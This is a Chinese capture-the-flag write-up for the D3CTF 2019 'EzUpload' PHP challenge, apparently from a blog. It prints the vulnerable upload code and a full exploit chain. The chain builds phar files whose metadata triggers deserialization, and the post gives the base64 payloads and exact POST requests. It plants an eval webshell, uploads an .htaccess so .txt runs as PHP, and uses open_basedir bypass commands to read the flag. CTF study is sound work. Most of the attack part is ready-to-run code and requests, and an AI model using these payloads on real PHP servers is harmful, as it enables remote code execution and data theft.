[D3CTF 2019]EzUpload

[D3CTF 2019]EzUpload

<?php
class dir{
    public $userdir;
    public $url;
    public $filename;
    public function __construct($url,$filename) {
        $this->userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
        $this->url = $url;
        $this->filename  =  $filename;
        if (!file_exists($this->userdir)) {
            mkdir($this->userdir, 0777, true);
        }
    }
    public function checkdir(){
        if ($this->userdir != "upload/" . md5($_SERVER["REMOTE_ADDR"])) {
            die('hacker!!!');
        }
    }
    public function checkurl(){
        $r = parse_url($this->url);
        if (!isset($r['scheme']) || preg_match("/file|php/i",$r['scheme'])){
            die('hacker!!!');
        }
    }
    public function checkext(){
        if (stristr($this->filename,'..')){
            die('hacker!!!');
        }
        if (stristr($this->filename,'/')){
            die('hacker!!!');
        }
        $ext = substr($this->filename, strrpos($this->filename, ".") + 1);
        if (preg_match("/ph/i", $ext)){
            die('hacker!!!');
        }
    }
    public function upload(){
        $this->checkdir();
        $this->checkurl();
        $this->checkext();
        $content = file_get_contents($this->url,NULL,NULL,0,2048);
        if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){
            die('hacker!!!');
        }
        file_put_contents($this->userdir."/".$this->filename,$content);
    }
    public function remove(){
        $this->checkdir();
        $this->checkext();
        if (file_exists($this->userdir."/".$this->filename)){
            unlink($this->userdir."/".$this->filename);
        }
    }
    public function count($dir) {
        if ($dir === ''){
            $num = count(scandir($this->userdir)) - 2;
        }
        else {
            $num = count(scandir($dir)) - 2;
        }
        if($num > 0) {
            return "you have $num files";
        }
        else{
            return "you don't have file";
        }
    }
    public function __toString() {
        return implode(" ",scandir(__DIR__."/".$this->userdir));
    }
    public function __destruct() {
        $string = "your file in : ".$this->userdir;
        file_put_contents($this->filename.".txt", $string);
        echo $string;
    }
}

if (!isset($_POST['action']) || !isset($_POST['url']) || !isset($_POST['filename'])){
    highlight_file(__FILE__);
    die();
}

$dir = new dir($_POST['url'],$_POST['filename']);
if($_POST['action'] === "upload") {
    $dir->upload();
}
elseif ($_POST['action'] === "remove") {
    $dir->remove();
}
elseif ($_POST['action'] === "count") {
    if (!isset($_POST['dir'])){
        echo $dir->count('');
    } else {
        echo $dir->count($_POST['dir']);
    }
}

兩個文件寫入點,一個文件讀取點。upload里的的文件寫入可以寫入upload/{md5(ip)}/目錄,析構(gòu)函數(shù)里的文件寫入可以寫任意目錄(需要權(quán)限)。但是析構(gòu)函數(shù)里的工作目錄會變到網(wǎng)站根目錄(ServerRoot不是DocumentRoot),這個web服務(wù)的DocumentRoot在/var/www/html/*/下,這個*是一個隨機生成的字符串,并且10分鐘換一次(原題中有hints提示)。__toString()函數(shù)可以讀取目錄,并且這個函數(shù)可以在析構(gòu)函數(shù)里的字符串拼接處出觸發(fā),這個函數(shù)可以用來獲取上面說到的隨機生成的目錄名。拿到目錄名后就可以利用析構(gòu)函數(shù)里的文件寫入進行任意文件寫入了。

有了反序列化思路之后就要找反序列化點了,題目代碼中并沒有明確的反序列化函數(shù)調(diào)用,但是存在文件讀取函數(shù),可以利用phar協(xié)議進行反序列化。

phar文件內(nèi)容大致分為四個部分

  • stub

    這是一個標志位用來標示一個phar文件,格式為

    * __HALT_COMPILER();?>或* __HALT_COMPILER();。前面的*可以是任意字符,比如可以GIF89a來繞過部分過濾。php通過這個標志來識別phar文件(不依賴文件后綴)。

  • manifest

    這里儲存的是phar文件的信息,其中有一個以序列化字符串存放的可以自定義的meta-data部分,在解析phar會進行反序列化。

  • contents

    文件內(nèi)容

  • signature

    簽名,和hash phar.require_hash配置有關(guān)

php提供了一個phar類來進行phar文件操作,構(gòu)造以下payload

<?php
    class dir{
    public $userdir;
    public $url;
    public $filename;
    }
 
   $phar = new Phar("phar.phar"); //后綴名必須為phar
   $phar->startBuffering();
   $phar->setStub(" __HALT_COMPILER(); "); //設(shè)置stub
   $o = new dir();
   $a = new dir();
   $a->userdir='../';
   $o->userdir=$a;
   $phar->setMetadata($o); //將自定義的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要壓縮的文件
    //簽名自動計算
    $phar->stopBuffering();
?>

執(zhí)行這個文件會生成一個phar.phar文件,計算該文件的base64值為

IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KsgAAAAEAAAARAAAAAQAAAAAAfAAAAE86MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6MzoiLi4vIjtzOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO31zOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO30IAAAAdGVzdC50eHQEAAAAaPXEXgQAAAAMfn/YtgEAAAAAAAB0ZXN0RoxsuC3D8ws4dcXncsEt80xGlOQCAAAAR0JNQg==

提交請求為

action=upload&filename=phar.txt&url=data:image/png;base64,IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KsgAAAAEAAAARAAAAAQAAAAAAfAAAAE86MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6MzoiLi4vIjtzOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO31zOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO30IAAAAdGVzdC50eHQEAAAAaPXEXgQAAAAMfn/YtgEAAAAAAAB0ZXN0RoxsuC3D8ws4dcXncsEt80xGlOQCAAAAR0JNQg==

再提交請求為

action=upload&filename=&url=phar://upload/{md5(IP)}/phar.txt

可以在回顯中看到目錄名。這里利用../讀取了/var/www/html/的內(nèi)容,但是再往上就讀不到了因為open_basedir的限制。

知道的目錄名后就可以用絕對路徑來進行任意文件寫入了,析構(gòu)函數(shù)中將$string變量寫入一個文件,$string變量由兩個字符串拼接,其中$userdir變量可以觸發(fā)__toString()函數(shù),__toString()函數(shù)又可以讀取/var/www/html/目錄和子目錄內(nèi)容,而upload/{md5(IP)}/目錄又可以通過upload()函數(shù)進行文件寫入,并且對文件名的限制很小。這條攻擊鏈就很清晰了

首先提交一個請求

action=upload&filename=<?php eval($_GET['cmd']); ?>.txt&url=

這個請求生成了一個名為<?php eval($_GET['cmd']); ?>.txt的文件,再構(gòu)造payload

<?php
    class dir{
    public $userdir;
    public $url;
    public $filename;
    }
   $phar = new Phar("phar.phar"); //后綴名必須為phar
   $phar->startBuffering();
   $phar->setStub(" __HALT_COMPILER(); "); //設(shè)置stub
   $o = new dir();
   $a = new dir();
   $a->userdir='upload/{md5(IP)}/';
   $o -> filename= '/var/www/html/{directory_name}/upload/{md5(IP)}/webshell';
   $o->userdir=$a;
   $phar->setMetadata($o); //將自定義的meta-data存入manifest
   $phar->addFromString("test.txt", "test"); //添加要壓縮的文件
    //簽名自動計算
   $phar->stopBuffering();
?>

計算生成的phar.phar文件base64值

IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KLQEAAAEAAAARAAAAAQAAAAAA9wAAAE86MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6NDA6InVwbG9hZC80OGNkOGI0MzA4MTg5NmZiZDA5MzFkMjA0Zjk0NzY2My8iO3M6MzoidXJsIjtOO3M6ODoiZmlsZW5hbWUiO047fXM6MzoidXJsIjtOO3M6ODoiZmlsZW5hbWUiO3M6Nzk6Ii92YXIvd3d3L2h0bWwvZmViZWZlMWNjNWM4Nzc0OC91cGxvYWQvNDhjZDhiNDMwODE4OTZmYmQwOTMxZDIwNGY5NDc2NjMvd2Vic2hlbGwiO30IAAAAdGVzdC50eHQEAAAARPrEXgQAAAAMfn/YtgEAAAAAAAB0ZXN0hhX3PmvSpwnvsS1rmPywO8MrIPgCAAAAR0JNQg==

提交請求

action=upload&filename=phar.txt&url=data:image/png;base64,IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KLQEAAAEAAAARAAAAAQAAAAAA9wAAAE86MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6NDA6InVwbG9hZC80OGNkOGI0MzA4MTg5NmZiZDA5MzFkMjA0Zjk0NzY2My8iO3M6MzoidXJsIjtOO3M6ODoiZmlsZW5hbWUiO047fXM6MzoidXJsIjtOO3M6ODoiZmlsZW5hbWUiO3M6Nzk6Ii92YXIvd3d3L2h0bWwvZmViZWZlMWNjNWM4Nzc0OC91cGxvYWQvNDhjZDhiNDMwODE4OTZmYmQwOTMxZDIwNGY5NDc2NjMvd2Vic2hlbGwiO30IAAAAdGVzdC50eHQEAAAARPrEXgQAAAAMfn/YtgEAAAAAAAB0ZXN0hhX3PmvSpwnvsS1rmPywO8MrIPgCAAAAR0JNQg==

再提交請求

action=upload&filename=&url=phar://upload/{md5(IP)}/phar.txt

在upload/{md5(IP)}/目錄下會生成一個webshell.txt文件,其中有部分內(nèi)容為<?php eval($_GET['cmd']); ?>

再上傳一個.htaccess文件將txt解析為php即可,提交請求

action=upload&filename=.htaccess&url=data:image/png;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0

再訪問webshell.txt并提交cmd參數(shù)即可執(zhí)行任意代碼,但是還存在open_basdir的限制,提交參數(shù)cmd為

ini_set('open_basedir', '..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir', '/');var_dump(scandir('/'));

可以看到在根目錄存在一個F1aG_1s_H4r4文件,提交參數(shù)為

ini_set('open_basedir', '..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir', '/');var_dump(file_get_contents('/F1aG_1s_H4r4'));

即可獲取flag。

還有其他解法如

<?php

class dir{
    public $userdir;
    public $url;
    public $filename;

    public function __construct(){
        $this->userdir = '<?php eval($_GET[cmd]);?>';
        $this->filename = "/var/www/html/216cbd05fb1918ba/upload/4f105b2c0ec2da14aae9b130ee13f8e9/somnus";
        $this->url = "1";
    }
}

$d = new dir();
echo urlencode(serialize($d));
$phar = new Phar("somnus3.phar");
$phar->startBuffering();
$phar->setStub("GIF89A"."__HALT_COMPILER();"); //設(shè)置stub,增加gif文件頭用以欺騙檢測
$phar->setMetadata($d); //將自定義meta-data存入manifest
$phar->addFromString("test.jpg", "test"); //添加要壓縮的文件
$phar->stopBuffering();

?>
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

友情鏈接更多精彩內(nèi)容